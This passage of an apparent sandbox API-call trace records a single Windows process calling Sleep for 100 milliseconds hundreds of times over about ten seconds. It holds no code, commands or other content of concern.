[0307.691] Sleep (dwMilliseconds=0x64) [0307.706] Sleep (dwMilliseconds=0x64) [0307.722] Sleep (dwMilliseconds=0x64) [0307.737] Sleep (dwMilliseconds=0x64) [0307.754] Sleep (dwMilliseconds=0x64) [0307.769] Sleep (dwMilliseconds=0x64) [0307.784] Sleep (dwMilliseconds=0x64) [0307.802] Sleep (dwMilliseconds=0x64) [0307.815] Sleep (dwMilliseconds=0x64) [0307.833] Sleep (dwMilliseconds=0x64) [0307.847] Sleep (dwMilliseconds=0x64) [0307.865] Sleep (dwMilliseconds=0x64) [0307.878] Sleep (dwMilliseconds=0x64) [0307.893] Sleep (dwMilliseconds=0x64) [0307.909] Sleep (dwMilliseconds=0x64) [0307.924] Sleep (dwMilliseconds=0x64) [0307.940] Sleep (dwMilliseconds=0x64) [0307.961] Sleep (dwMilliseconds=0x64) [0307.971] Sleep (dwMilliseconds=0x64) [0307.987] Sleep (dwMilliseconds=0x64) [0308.004] Sleep (dwMilliseconds=0x64) [0308.018] Sleep (dwMilliseconds=0x64) [0308.034] Sleep (dwMilliseconds=0x64) [0308.049] Sleep (dwMilliseconds=0x64) [0308.065] Sleep (dwMilliseconds=0x64) [0308.080] Sleep (dwMilliseconds=0x64) [0308.096] Sleep (dwMilliseconds=0x64) [0308.112] Sleep (dwMilliseconds=0x64) [0308.127] Sleep (dwMilliseconds=0x64) [0308.143] Sleep (dwMilliseconds=0x64) [0308.159] Sleep (dwMilliseconds=0x64) [0308.174] Sleep (dwMilliseconds=0x64) [0308.190] Sleep (dwMilliseconds=0x64) [0308.205] Sleep (dwMilliseconds=0x64) [0308.221] Sleep (dwMilliseconds=0x64) [0308.237] Sleep (dwMilliseconds=0x64) [0308.252] Sleep (dwMilliseconds=0x64) [0308.268] Sleep (dwMilliseconds=0x64) [0308.286] Sleep (dwMilliseconds=0x64) [0308.299] Sleep (dwMilliseconds=0x64) [0308.314] Sleep (dwMilliseconds=0x64) [0308.330] Sleep (dwMilliseconds=0x64) [0308.356] Sleep (dwMilliseconds=0x64) [0308.361] Sleep (dwMilliseconds=0x64) [0308.377] Sleep (dwMilliseconds=0x64) [0308.392] Sleep (dwMilliseconds=0x64) [0308.408] Sleep (dwMilliseconds=0x64) [0308.424] Sleep (dwMilliseconds=0x64) [0308.441] Sleep (dwMilliseconds=0x64) [0308.455] Sleep (dwMilliseconds=0x64) [0308.471] Sleep (dwMilliseconds=0x64) [0308.486] Sleep (dwMilliseconds=0x64) [0308.502] Sleep (dwMilliseconds=0x64) [0308.519] Sleep (dwMilliseconds=0x64) [0308.533] Sleep (dwMilliseconds=0x64) [0308.548] Sleep (dwMilliseconds=0x64) [0308.564] Sleep (dwMilliseconds=0x64) [0308.580] Sleep (dwMilliseconds=0x64) [0308.595] Sleep (dwMilliseconds=0x64) [0308.611] Sleep (dwMilliseconds=0x64) [0308.627] Sleep (dwMilliseconds=0x64) [0308.642] Sleep (dwMilliseconds=0x64) [0308.658] Sleep (dwMilliseconds=0x64) [0308.675] Sleep (dwMilliseconds=0x64) [0308.689] Sleep (dwMilliseconds=0x64) [0308.704] Sleep (dwMilliseconds=0x64) [0308.720] Sleep (dwMilliseconds=0x64) [0308.736] Sleep (dwMilliseconds=0x64) [0308.751] Sleep (dwMilliseconds=0x64) [0308.767] Sleep (dwMilliseconds=0x64) [0308.783] Sleep (dwMilliseconds=0x64) [0308.798] Sleep (dwMilliseconds=0x64) [0308.814] Sleep (dwMilliseconds=0x64) [0308.829] Sleep (dwMilliseconds=0x64) [0308.845] Sleep (dwMilliseconds=0x64) [0308.860] Sleep (dwMilliseconds=0x64) [0308.876] Sleep (dwMilliseconds=0x64) [0308.892] Sleep (dwMilliseconds=0x64) [0308.907] Sleep (dwMilliseconds=0x64) [0308.923] Sleep (dwMilliseconds=0x64) [0308.938] Sleep (dwMilliseconds=0x64) [0308.955] Sleep (dwMilliseconds=0x64) [0308.970] Sleep (dwMilliseconds=0x64) [0308.985] Sleep (dwMilliseconds=0x64) [0309.001] Sleep (dwMilliseconds=0x64) [0309.016] Sleep (dwMilliseconds=0x64) [0309.032] Sleep (dwMilliseconds=0x64) [0309.048] Sleep (dwMilliseconds=0x64) [0309.066] Sleep (dwMilliseconds=0x64) [0309.079] Sleep (dwMilliseconds=0x64) [0309.095] Sleep (dwMilliseconds=0x64) [0309.110] Sleep (dwMilliseconds=0x64) [0309.126] Sleep (dwMilliseconds=0x64) [0309.141] Sleep (dwMilliseconds=0x64) [0309.157] Sleep (dwMilliseconds=0x64) [0309.172] Sleep (dwMilliseconds=0x64) [0309.188] Sleep (dwMilliseconds=0x64) [0309.204] Sleep (dwMilliseconds=0x64) [0309.220] Sleep (dwMilliseconds=0x64) [0309.235] Sleep (dwMilliseconds=0x64) [0309.250] Sleep (dwMilliseconds=0x64) [0309.266] Sleep (dwMilliseconds=0x64) [0309.282] Sleep (dwMilliseconds=0x64) [0309.297] Sleep (dwMilliseconds=0x64) [0309.318] Sleep (dwMilliseconds=0x64) [0309.329] Sleep (dwMilliseconds=0x64) [0309.354] Sleep (dwMilliseconds=0x64) [0309.360] Sleep (dwMilliseconds=0x64) [0309.375] Sleep (dwMilliseconds=0x64) [0309.391] Sleep (dwMilliseconds=0x64) [0309.407] Sleep (dwMilliseconds=0x64) [0309.422] Sleep (dwMilliseconds=0x64) [0309.438] Sleep (dwMilliseconds=0x64) [0309.464] Sleep (dwMilliseconds=0x64) [0309.469] Sleep (dwMilliseconds=0x64) [0309.484] Sleep (dwMilliseconds=0x64) [0309.500] Sleep (dwMilliseconds=0x64) [0309.516] Sleep (dwMilliseconds=0x64) [0309.531] Sleep (dwMilliseconds=0x64) [0309.547] Sleep (dwMilliseconds=0x64) [0309.562] Sleep (dwMilliseconds=0x64) [0309.578] Sleep (dwMilliseconds=0x64) [0309.594] Sleep (dwMilliseconds=0x64) [0309.611] Sleep (dwMilliseconds=0x64) [0309.625] Sleep (dwMilliseconds=0x64) [0309.640] Sleep (dwMilliseconds=0x64) [0309.656] Sleep (dwMilliseconds=0x64) [0309.672] Sleep (dwMilliseconds=0x64) [0309.687] Sleep (dwMilliseconds=0x64) [0309.706] Sleep (dwMilliseconds=0x64) [0309.719] Sleep (dwMilliseconds=0x64) [0309.735] Sleep (dwMilliseconds=0x64) [0309.750] Sleep (dwMilliseconds=0x64) [0309.765] Sleep (dwMilliseconds=0x64) [0309.781] Sleep (dwMilliseconds=0x64) [0309.797] Sleep (dwMilliseconds=0x64) [0309.812] Sleep (dwMilliseconds=0x64) [0309.828] Sleep (dwMilliseconds=0x64) [0309.843] Sleep (dwMilliseconds=0x64) [0309.859] Sleep (dwMilliseconds=0x64) [0309.875] Sleep (dwMilliseconds=0x64) [0309.890] Sleep (dwMilliseconds=0x64) [0309.906] Sleep (dwMilliseconds=0x64) [0309.921] Sleep (dwMilliseconds=0x64) [0309.937] Sleep (dwMilliseconds=0x64) [0309.954] Sleep (dwMilliseconds=0x64) [0309.968] Sleep (dwMilliseconds=0x64) [0309.984] Sleep (dwMilliseconds=0x64) [0309.999] Sleep (dwMilliseconds=0x64) [0310.015] Sleep (dwMilliseconds=0x64) [0310.031] Sleep (dwMilliseconds=0x64) [0310.046] Sleep (dwMilliseconds=0x64) [0310.062] Sleep (dwMilliseconds=0x64) [0310.077] Sleep (dwMilliseconds=0x64) [0310.093] Sleep (dwMilliseconds=0x64) [0310.108] Sleep (dwMilliseconds=0x64) [0310.124] Sleep (dwMilliseconds=0x64) [0310.140] Sleep (dwMilliseconds=0x64) [0310.155] Sleep (dwMilliseconds=0x64) [0310.171] Sleep (dwMilliseconds=0x64) [0310.186] Sleep (dwMilliseconds=0x64) [0310.202] Sleep (dwMilliseconds=0x64) [0310.221] Sleep (dwMilliseconds=0x64) [0310.233] Sleep (dwMilliseconds=0x64) [0310.249] Sleep (dwMilliseconds=0x64) [0310.264] Sleep (dwMilliseconds=0x64) [0310.280] Sleep (dwMilliseconds=0x64) [0310.296] Sleep (dwMilliseconds=0x64) [0310.311] Sleep (dwMilliseconds=0x64) [0310.327] Sleep (dwMilliseconds=0x64) [0310.342] Sleep (dwMilliseconds=0x64) [0310.367] Sleep (dwMilliseconds=0x64) [0310.374] Sleep (dwMilliseconds=0x64) [0310.389] Sleep (dwMilliseconds=0x64) [0310.405] Sleep (dwMilliseconds=0x64) [0310.421] Sleep (dwMilliseconds=0x64) [0310.436] Sleep (dwMilliseconds=0x64) [0310.454] Sleep (dwMilliseconds=0x64) [0310.467] Sleep (dwMilliseconds=0x64) [0310.483] Sleep (dwMilliseconds=0x64) [0310.498] Sleep (dwMilliseconds=0x64) [0310.516] Sleep (dwMilliseconds=0x64) [0310.530] Sleep (dwMilliseconds=0x64) [0310.545] Sleep (dwMilliseconds=0x64) [0310.561] Sleep (dwMilliseconds=0x64) [0310.576] Sleep (dwMilliseconds=0x64) [0310.592] Sleep (dwMilliseconds=0x64) [0310.608] Sleep (dwMilliseconds=0x64) [0310.623] Sleep (dwMilliseconds=0x64) [0310.639] Sleep (dwMilliseconds=0x64) [0310.655] Sleep (dwMilliseconds=0x64) [0310.670] Sleep (dwMilliseconds=0x64) [0310.686] Sleep (dwMilliseconds=0x64) [0310.701] Sleep (dwMilliseconds=0x64) [0310.717] Sleep (dwMilliseconds=0x64) [0310.732] Sleep (dwMilliseconds=0x64) [0310.749] Sleep (dwMilliseconds=0x64) [0310.764] Sleep (dwMilliseconds=0x64) [0310.779] Sleep (dwMilliseconds=0x64) [0310.795] Sleep (dwMilliseconds=0x64) [0310.811] Sleep (dwMilliseconds=0x64) [0310.826] Sleep (dwMilliseconds=0x64) [0310.842] Sleep (dwMilliseconds=0x64) [0310.858] Sleep (dwMilliseconds=0x64) [0310.873] Sleep (dwMilliseconds=0x64) [0310.888] Sleep (dwMilliseconds=0x64) [0310.906] Sleep (dwMilliseconds=0x64) [0310.920] Sleep (dwMilliseconds=0x64) [0310.936] Sleep (dwMilliseconds=0x64) [0310.951] Sleep (dwMilliseconds=0x64) [0310.967] Sleep (dwMilliseconds=0x64) [0310.982] Sleep (dwMilliseconds=0x64) [0310.998] Sleep (dwMilliseconds=0x64) [0311.013] Sleep (dwMilliseconds=0x64) [0311.029] Sleep (dwMilliseconds=0x64) [0311.048] Sleep (dwMilliseconds=0x64) [0311.060] Sleep (dwMilliseconds=0x64) [0311.076] Sleep (dwMilliseconds=0x64) [0311.091] Sleep (dwMilliseconds=0x64) [0311.107] Sleep (dwMilliseconds=0x64) [0311.126] Sleep (dwMilliseconds=0x64) [0311.138] Sleep (dwMilliseconds=0x64) [0311.154] Sleep (dwMilliseconds=0x64) [0311.169] Sleep (dwMilliseconds=0x64) [0311.185] Sleep (dwMilliseconds=0x64) [0311.200] Sleep (dwMilliseconds=0x64) [0311.216] Sleep (dwMilliseconds=0x64) [0311.232] Sleep (dwMilliseconds=0x64) [0311.249] Sleep (dwMilliseconds=0x64) [0311.263] Sleep (dwMilliseconds=0x64) [0311.279] Sleep (dwMilliseconds=0x64) [0311.294] Sleep (dwMilliseconds=0x64) [0311.310] Sleep (dwMilliseconds=0x64) [0311.325] Sleep (dwMilliseconds=0x64) [0311.341] Sleep (dwMilliseconds=0x64) [0311.365] Sleep (dwMilliseconds=0x64) [0311.372] Sleep (dwMilliseconds=0x64) [0311.388] Sleep (dwMilliseconds=0x64) [0311.403] Sleep (dwMilliseconds=0x64) [0311.419] Sleep (dwMilliseconds=0x64) [0311.434] Sleep (dwMilliseconds=0x64) [0311.450] Sleep (dwMilliseconds=0x64) [0311.480] Sleep (dwMilliseconds=0x64) [0311.481] Sleep (dwMilliseconds=0x64) [0311.497] Sleep (dwMilliseconds=0x64) [0311.513] Sleep (dwMilliseconds=0x64) [0311.528] Sleep (dwMilliseconds=0x64) [0311.544] Sleep (dwMilliseconds=0x64) [0311.559] Sleep (dwMilliseconds=0x64) [0311.575] Sleep (dwMilliseconds=0x64) [0311.591] Sleep (dwMilliseconds=0x64) [0311.606] Sleep (dwMilliseconds=0x64) [0311.622] Sleep (dwMilliseconds=0x64) [0311.637] Sleep (dwMilliseconds=0x64) [0311.653] Sleep (dwMilliseconds=0x64) [0311.668] Sleep (dwMilliseconds=0x64) [0311.684] Sleep (dwMilliseconds=0x64) [0311.700] Sleep (dwMilliseconds=0x64) [0311.715] Sleep (dwMilliseconds=0x64) [0311.731] Sleep (dwMilliseconds=0x64) [0311.746] Sleep (dwMilliseconds=0x64) [0311.762] Sleep (dwMilliseconds=0x64) [0311.778] Sleep (dwMilliseconds=0x64) [0311.793] Sleep (dwMilliseconds=0x64) [0311.811] Sleep (dwMilliseconds=0x64) [0311.825] Sleep (dwMilliseconds=0x64) [0311.842] Sleep (dwMilliseconds=0x64) [0311.856] Sleep (dwMilliseconds=0x64) [0311.873] Sleep (dwMilliseconds=0x64) [0311.887] Sleep (dwMilliseconds=0x64) [0311.905] Sleep (dwMilliseconds=0x64) [0311.918] Sleep (dwMilliseconds=0x64) [0311.934] Sleep (dwMilliseconds=0x64) [0311.957] Sleep (dwMilliseconds=0x64) [0311.965] Sleep (dwMilliseconds=0x64) [0311.980] Sleep (dwMilliseconds=0x64) [0311.997] Sleep (dwMilliseconds=0x64) [0312.012] Sleep (dwMilliseconds=0x64) [0312.027] Sleep (dwMilliseconds=0x64) [0312.044] Sleep (dwMilliseconds=0x64) [0312.059] Sleep (dwMilliseconds=0x64) [0312.074] Sleep (dwMilliseconds=0x64) [0312.090] Sleep (dwMilliseconds=0x64) [0312.105] Sleep (dwMilliseconds=0x64) [0312.121] Sleep (dwMilliseconds=0x64) [0312.136] Sleep (dwMilliseconds=0x64) [0312.152] Sleep (dwMilliseconds=0x64) [0312.168] Sleep (dwMilliseconds=0x64) [0312.183] Sleep (dwMilliseconds=0x64) [0312.199] Sleep (dwMilliseconds=0x64) [0312.215] Sleep (dwMilliseconds=0x64) [0312.230] Sleep (dwMilliseconds=0x64) [0312.246] Sleep (dwMilliseconds=0x64) [0312.261] Sleep (dwMilliseconds=0x64) [0312.277] Sleep (dwMilliseconds=0x64) [0312.292] Sleep (dwMilliseconds=0x64) [0312.308] Sleep (dwMilliseconds=0x64) [0312.325] Sleep (dwMilliseconds=0x64) [0312.339] Sleep (dwMilliseconds=0x64) [0312.362] Sleep (dwMilliseconds=0x64) [0312.370] Sleep (dwMilliseconds=0x64) [0312.386] Sleep (dwMilliseconds=0x64) [0312.402] Sleep (dwMilliseconds=0x64) [0312.417] Sleep (dwMilliseconds=0x64) [0312.433] Sleep (dwMilliseconds=0x64) [0312.448] Sleep (dwMilliseconds=0x64) [0312.466] Sleep (dwMilliseconds=0x64) [0312.480] Sleep (dwMilliseconds=0x64) [0312.495] Sleep (dwMilliseconds=0x64) [0312.511] Sleep (dwMilliseconds=0x64) [0312.527] Sleep (dwMilliseconds=0x64) [0312.542] Sleep (dwMilliseconds=0x64) [0312.558] Sleep (dwMilliseconds=0x64) [0312.573] Sleep (dwMilliseconds=0x64) [0312.589] Sleep (dwMilliseconds=0x64) [0312.605] Sleep (dwMilliseconds=0x64) [0312.620] Sleep (dwMilliseconds=0x64) [0312.636] Sleep (dwMilliseconds=0x64) [0312.651] Sleep (dwMilliseconds=0x64) [0312.667] Sleep (dwMilliseconds=0x64) [0312.682] Sleep (dwMilliseconds=0x64) [0312.698] Sleep (dwMilliseconds=0x64) [0312.714] Sleep (dwMilliseconds=0x64) [0312.729] Sleep (dwMilliseconds=0x64) [0312.745] Sleep (dwMilliseconds=0x64) [0312.760] Sleep (dwMilliseconds=0x64) [0312.776] Sleep (dwMilliseconds=0x64) [0312.792] Sleep (dwMilliseconds=0x64) [0312.807] Sleep (dwMilliseconds=0x64) [0312.823] Sleep (dwMilliseconds=0x64) [0312.839] Sleep (dwMilliseconds=0x64) [0312.854] Sleep (dwMilliseconds=0x64) [0312.870] Sleep (dwMilliseconds=0x64) [0312.885] Sleep (dwMilliseconds=0x64) [0312.901] Sleep (dwMilliseconds=0x64) [0312.916] Sleep (dwMilliseconds=0x64) [0312.932] Sleep (dwMilliseconds=0x64) [0312.948] Sleep (dwMilliseconds=0x64) [0312.963] Sleep (dwMilliseconds=0x64) [0312.979] Sleep (dwMilliseconds=0x64) [0312.994] Sleep (dwMilliseconds=0x64) [0313.010] Sleep (dwMilliseconds=0x64) [0313.039] Sleep (dwMilliseconds=0x64) [0313.041] Sleep (dwMilliseconds=0x64) [0313.059] Sleep (dwMilliseconds=0x64) [0313.072] Sleep (dwMilliseconds=0x64) [0313.088] Sleep (dwMilliseconds=0x64) [0313.104] Sleep (dwMilliseconds=0x64) [0313.119] Sleep (dwMilliseconds=0x64) [0313.135] Sleep (dwMilliseconds=0x64) [0313.151] Sleep (dwMilliseconds=0x64) [0313.166] Sleep (dwMilliseconds=0x64) [0313.183] Sleep (dwMilliseconds=0x64) [0313.197] Sleep (dwMilliseconds=0x64) [0313.213] Sleep (dwMilliseconds=0x64) [0313.228] Sleep (dwMilliseconds=0x64) [0313.244] Sleep (dwMilliseconds=0x64) [0313.260] Sleep (dwMilliseconds=0x64) [0313.275] Sleep (dwMilliseconds=0x64) [0313.291] Sleep (dwMilliseconds=0x64) [0313.310] Sleep (dwMilliseconds=0x64) [0313.322] Sleep (dwMilliseconds=0x64) [0313.338] Sleep (dwMilliseconds=0x64) [0313.365] Sleep (dwMilliseconds=0x64) [0313.369] Sleep (dwMilliseconds=0x64) [0313.384] Sleep (dwMilliseconds=0x64) [0313.400] Sleep (dwMilliseconds=0x64) [0313.416] Sleep (dwMilliseconds=0x64) [0313.431] Sleep (dwMilliseconds=0x64) [0313.447] Sleep (dwMilliseconds=0x64) [0313.463] Sleep (dwMilliseconds=0x64) [0313.493] Sleep (dwMilliseconds=0x64) [0313.493] Sleep (dwMilliseconds=0x64) [0313.509] Sleep (dwMilliseconds=0x64) [0313.525] Sleep (dwMilliseconds=0x64) [0313.540] Sleep (dwMilliseconds=0x64) [0313.556] Sleep (dwMilliseconds=0x64) [0313.572] Sleep (dwMilliseconds=0x64) [0313.588] Sleep (dwMilliseconds=0x64) [0313.603] Sleep (dwMilliseconds=0x64) [0313.618] Sleep (dwMilliseconds=0x64) [0313.634] Sleep (dwMilliseconds=0x64) [0313.650] Sleep (dwMilliseconds=0x64) [0313.665] Sleep (dwMilliseconds=0x64) [0313.681] Sleep (dwMilliseconds=0x64) [0313.696] Sleep (dwMilliseconds=0x64) [0313.712] Sleep (dwMilliseconds=0x64) [0313.728] Sleep (dwMilliseconds=0x64) [0313.743] Sleep (dwMilliseconds=0x64) [0313.759] Sleep (dwMilliseconds=0x64) [0313.775] Sleep (dwMilliseconds=0x64) [0313.790] Sleep (dwMilliseconds=0x64) [0313.806] Sleep (dwMilliseconds=0x64) [0313.824] Sleep (dwMilliseconds=0x64) [0313.837] Sleep (dwMilliseconds=0x64) [0313.854] Sleep (dwMilliseconds=0x64) [0313.868] Sleep (dwMilliseconds=0x64) [0313.885] Sleep (dwMilliseconds=0x64) [0313.899] Sleep (dwMilliseconds=0x64) [0313.918] Sleep (dwMilliseconds=0x64) [0313.931] Sleep (dwMilliseconds=0x64) [0313.947] Sleep (dwMilliseconds=0x64) [0313.962] Sleep (dwMilliseconds=0x64) [0313.977] Sleep (dwMilliseconds=0x64) [0313.993] Sleep (dwMilliseconds=0x64) [0314.008] Sleep (dwMilliseconds=0x64) [0314.024] Sleep (dwMilliseconds=0x64) [0314.040] Sleep (dwMilliseconds=0x64) [0314.056] Sleep (dwMilliseconds=0x64) [0314.071] Sleep (dwMilliseconds=0x64) [0314.087] Sleep (dwMilliseconds=0x64) [0314.102] Sleep (dwMilliseconds=0x64) [0314.118] Sleep (dwMilliseconds=0x64) [0314.133] Sleep (dwMilliseconds=0x64) [0314.149] Sleep (dwMilliseconds=0x64) [0314.164] Sleep (dwMilliseconds=0x64) [0314.180] Sleep (dwMilliseconds=0x64) [0314.196] Sleep (dwMilliseconds=0x64) [0314.211] Sleep (dwMilliseconds=0x64) [0314.227] Sleep (dwMilliseconds=0x64) [0314.242] Sleep (dwMilliseconds=0x64) [0314.258] Sleep (dwMilliseconds=0x64) [0314.274] Sleep (dwMilliseconds=0x64) [0314.289] Sleep (dwMilliseconds=0x64) [0314.305] Sleep (dwMilliseconds=0x64) [0314.320] Sleep (dwMilliseconds=0x64) [0314.338] Sleep (dwMilliseconds=0x64) [0314.366] Sleep (dwMilliseconds=0x64) [0314.367] Sleep (dwMilliseconds=0x64) [0314.383] Sleep (dwMilliseconds=0x64) [0314.399] Sleep (dwMilliseconds=0x64) [0314.414] Sleep (dwMilliseconds=0x64) [0314.430] Sleep (dwMilliseconds=0x64) [0314.445] Sleep (dwMilliseconds=0x64) [0314.461] Sleep (dwMilliseconds=0x64) [0314.480] Sleep (dwMilliseconds=0x64) [0314.494] Sleep (dwMilliseconds=0x64) [0314.508] Sleep (dwMilliseconds=0x64) [0314.523] Sleep (dwMilliseconds=0x64) [0314.539] Sleep (dwMilliseconds=0x64) [0314.554] Sleep (dwMilliseconds=0x64) [0314.571] Sleep (dwMilliseconds=0x64) [0314.586] Sleep (dwMilliseconds=0x64) [0314.601] Sleep (dwMilliseconds=0x64) [0314.617] Sleep (dwMilliseconds=0x64) [0314.632] Sleep (dwMilliseconds=0x64) [0314.649] Sleep (dwMilliseconds=0x64) [0314.664] Sleep (dwMilliseconds=0x64) [0314.679] Sleep (dwMilliseconds=0x64) [0314.695] Sleep (dwMilliseconds=0x64) [0314.711] Sleep (dwMilliseconds=0x64) [0314.727] Sleep (dwMilliseconds=0x64) [0314.742] Sleep (dwMilliseconds=0x64) [0314.757] Sleep (dwMilliseconds=0x64) [0314.773] Sleep (dwMilliseconds=0x64) [0314.788] Sleep (dwMilliseconds=0x64) [0314.804] Sleep (dwMilliseconds=0x64) [0314.820] Sleep (dwMilliseconds=0x64) [0314.838] Sleep (dwMilliseconds=0x64) [0314.851] Sleep (dwMilliseconds=0x64) [0314.867] Sleep (dwMilliseconds=0x64) [0314.882] Sleep (dwMilliseconds=0x64) [0314.898] Sleep (dwMilliseconds=0x64) [0314.914] Sleep (dwMilliseconds=0x64) [0314.929] Sleep (dwMilliseconds=0x64) [0314.945] Sleep (dwMilliseconds=0x64) [0314.960] Sleep (dwMilliseconds=0x64) [0314.976] Sleep (dwMilliseconds=0x64) [0314.991] Sleep (dwMilliseconds=0x64) [0315.007] Sleep (dwMilliseconds=0x64) [0315.023] Sleep (dwMilliseconds=0x64) [0315.041] Sleep (dwMilliseconds=0x64) [0315.054] Sleep (dwMilliseconds=0x64) [0315.069] Sleep (dwMilliseconds=0x64) [0315.085] Sleep (dwMilliseconds=0x64) [0315.100] Sleep (dwMilliseconds=0x64) [0315.116] Sleep (dwMilliseconds=0x64) [0315.132] Sleep (dwMilliseconds=0x64) [0315.147] Sleep (dwMilliseconds=0x64) [0315.163] Sleep (dwMilliseconds=0x64) [0315.179] Sleep (dwMilliseconds=0x64) [0315.196] Sleep (dwMilliseconds=0x64) [0315.210] Sleep (dwMilliseconds=0x64) [0315.225] Sleep (dwMilliseconds=0x64) [0315.241] Sleep (dwMilliseconds=0x64) [0315.256] Sleep (dwMilliseconds=0x64) [0315.272] Sleep (dwMilliseconds=0x64) [0315.288] Sleep (dwMilliseconds=0x64) [0315.303] Sleep (dwMilliseconds=0x64) [0315.322] Sleep (dwMilliseconds=0x64) [0315.335] Sleep (dwMilliseconds=0x64) [0315.361] Sleep (dwMilliseconds=0x64) [0315.369] Sleep (dwMilliseconds=0x64) [0315.381] Sleep (dwMilliseconds=0x64) [0315.397] Sleep (dwMilliseconds=0x64) [0315.412] Sleep (dwMilliseconds=0x64) [0315.428] Sleep (dwMilliseconds=0x64) [0315.444] Sleep (dwMilliseconds=0x64) [0315.459] Sleep (dwMilliseconds=0x64) [0315.476] Sleep (dwMilliseconds=0x64) [0315.497] Sleep (dwMilliseconds=0x64) [0315.506] Sleep (dwMilliseconds=0x64) [0315.522] Sleep (dwMilliseconds=0x64) [0315.538] Sleep (dwMilliseconds=0x64) [0315.553] Sleep (dwMilliseconds=0x64) [0315.568] Sleep (dwMilliseconds=0x64) [0315.584] Sleep (dwMilliseconds=0x64) [0315.600] Sleep (dwMilliseconds=0x64) [0315.617] Sleep (dwMilliseconds=0x64) [0315.631] Sleep (dwMilliseconds=0x64) [0315.647] Sleep (dwMilliseconds=0x64) [0315.662] Sleep (dwMilliseconds=0x64) [0315.678] Sleep (dwMilliseconds=0x64) [0315.694] Sleep (dwMilliseconds=0x64) [0315.712] Sleep (dwMilliseconds=0x64) [0315.724] Sleep (dwMilliseconds=0x64) [0315.740] Sleep (dwMilliseconds=0x64) [0315.756] Sleep (dwMilliseconds=0x64) [0315.772] Sleep (dwMilliseconds=0x64) [0315.787] Sleep (dwMilliseconds=0x64) [0315.803] Sleep (dwMilliseconds=0x64) [0315.818] Sleep (dwMilliseconds=0x64) [0315.834] Sleep (dwMilliseconds=0x64) [0315.853] Sleep (dwMilliseconds=0x64) [0315.865] Sleep (dwMilliseconds=0x64) [0315.881] Sleep (dwMilliseconds=0x64) [0315.896] Sleep (dwMilliseconds=0x64) [0315.912] Sleep (dwMilliseconds=0x64) [0315.927] Sleep (dwMilliseconds=0x64) [0315.943] Sleep (dwMilliseconds=0x64) [0315.959] Sleep (dwMilliseconds=0x64) [0315.974] Sleep (dwMilliseconds=0x64) [0315.990] Sleep (dwMilliseconds=0x64) [0316.005] Sleep (dwMilliseconds=0x64) [0316.021] Sleep (dwMilliseconds=0x64) [0316.036] Sleep (dwMilliseconds=0x64) [0316.052] Sleep (dwMilliseconds=0x64) [0316.068] Sleep (dwMilliseconds=0x64) [0316.083] Sleep (dwMilliseconds=0x64) [0316.102] Sleep (dwMilliseconds=0x64) [0316.114] Sleep (dwMilliseconds=0x64) [0316.130] Sleep (dwMilliseconds=0x64) [0316.146] Sleep (dwMilliseconds=0x64) [0316.161] Sleep (dwMilliseconds=0x64) [0316.181] Sleep (dwMilliseconds=0x64) [0316.193] Sleep (dwMilliseconds=0x64) [0316.208] Sleep (dwMilliseconds=0x64) [0316.224] Sleep (dwMilliseconds=0x64) [0316.241] Sleep (dwMilliseconds=0x64) [0316.255] Sleep (dwMilliseconds=0x64) [0316.271] Sleep (dwMilliseconds=0x64) [0316.286] Sleep (dwMilliseconds=0x64) [0316.302] Sleep (dwMilliseconds=0x64) [0316.317] Sleep (dwMilliseconds=0x64) [0316.333] Sleep (dwMilliseconds=0x64) [0316.361] Sleep (dwMilliseconds=0x64) [0316.364] Sleep (dwMilliseconds=0x64) [0316.380] Sleep (dwMilliseconds=0x64) [0316.395] Sleep (dwMilliseconds=0x64) [0316.411] Sleep (dwMilliseconds=0x64) [0316.427] Sleep (dwMilliseconds=0x64) [0316.442] Sleep (dwMilliseconds=0x64) [0316.458] Sleep (dwMilliseconds=0x64) [0316.474] Sleep (dwMilliseconds=0x64) [0316.492] Sleep (dwMilliseconds=0x64) [0316.504] Sleep (dwMilliseconds=0x64) [0316.520] Sleep (dwMilliseconds=0x64) [0316.536] Sleep (dwMilliseconds=0x64) [0316.551] Sleep (dwMilliseconds=0x64) [0316.567] Sleep (dwMilliseconds=0x64) [0316.583] Sleep (dwMilliseconds=0x64) [0316.598] Sleep (dwMilliseconds=0x64) [0316.614] Sleep (dwMilliseconds=0x64) [0316.629] Sleep (dwMilliseconds=0x64) [0316.646] Sleep (dwMilliseconds=0x64) [0316.660] Sleep (dwMilliseconds=0x64) [0316.676] Sleep (dwMilliseconds=0x64) [0316.692] Sleep (dwMilliseconds=0x64) [0316.707] Sleep (dwMilliseconds=0x64) [0316.723] Sleep (dwMilliseconds=0x64) [0316.741] Sleep (dwMilliseconds=0x64) [0316.754] Sleep (dwMilliseconds=0x64) [0316.770] Sleep (dwMilliseconds=0x64) [0316.785] Sleep (dwMilliseconds=0x64) [0316.801] Sleep (dwMilliseconds=0x64) [0316.816] Sleep (dwMilliseconds=0x64) [0316.832] Sleep (dwMilliseconds=0x64) [0316.848] Sleep (dwMilliseconds=0x64) [0316.863] Sleep (dwMilliseconds=0x64) [0316.882] Sleep (dwMilliseconds=0x64) [0316.894] Sleep (dwMilliseconds=0x64) [0316.910] Sleep (dwMilliseconds=0x64) [0316.926] Sleep (dwMilliseconds=0x64) [0316.941] Sleep (dwMilliseconds=0x64) [0316.958] Sleep (dwMilliseconds=0x64) [0316.972] Sleep (dwMilliseconds=0x64) [0316.988] Sleep (dwMilliseconds=0x64) [0317.004] Sleep (dwMilliseconds=0x64) [0317.020] Sleep (dwMilliseconds=0x64) [0317.035] Sleep (dwMilliseconds=0x64) [0317.050] Sleep (dwMilliseconds=0x64) [0317.066] Sleep (dwMilliseconds=0x64) [0317.082] Sleep (dwMilliseconds=0x64) [0317.097] Sleep (dwMilliseconds=0x64) [0317.113] Sleep (dwMilliseconds=0x64) [0317.130] Sleep (dwMilliseconds=0x64) [0317.144] Sleep (dwMilliseconds=0x64) [0317.160] Sleep (dwMilliseconds=0x64) [0317.175] Sleep (dwMilliseconds=0x64) [0317.191] Sleep (dwMilliseconds=0x64) [0317.210] Sleep (dwMilliseconds=0x64) [0317.222] Sleep (dwMilliseconds=0x64) [0317.238] Sleep (dwMilliseconds=0x64) [0317.253] Sleep (dwMilliseconds=0x64) [0317.269] Sleep (dwMilliseconds=0x64) [0317.284] Sleep (dwMilliseconds=0x64) [0317.301] Sleep (dwMilliseconds=0x64) [0317.316] Sleep (dwMilliseconds=0x64) [0317.331] Sleep (dwMilliseconds=0x64) [0317.357] Sleep (dwMilliseconds=0x64) [0317.362] Sleep (dwMilliseconds=0x64) [0317.380] Sleep (dwMilliseconds=0x64) [0317.394] Sleep (dwMilliseconds=0x64) [0317.409] Sleep (dwMilliseconds=0x64) [0317.425] Sleep 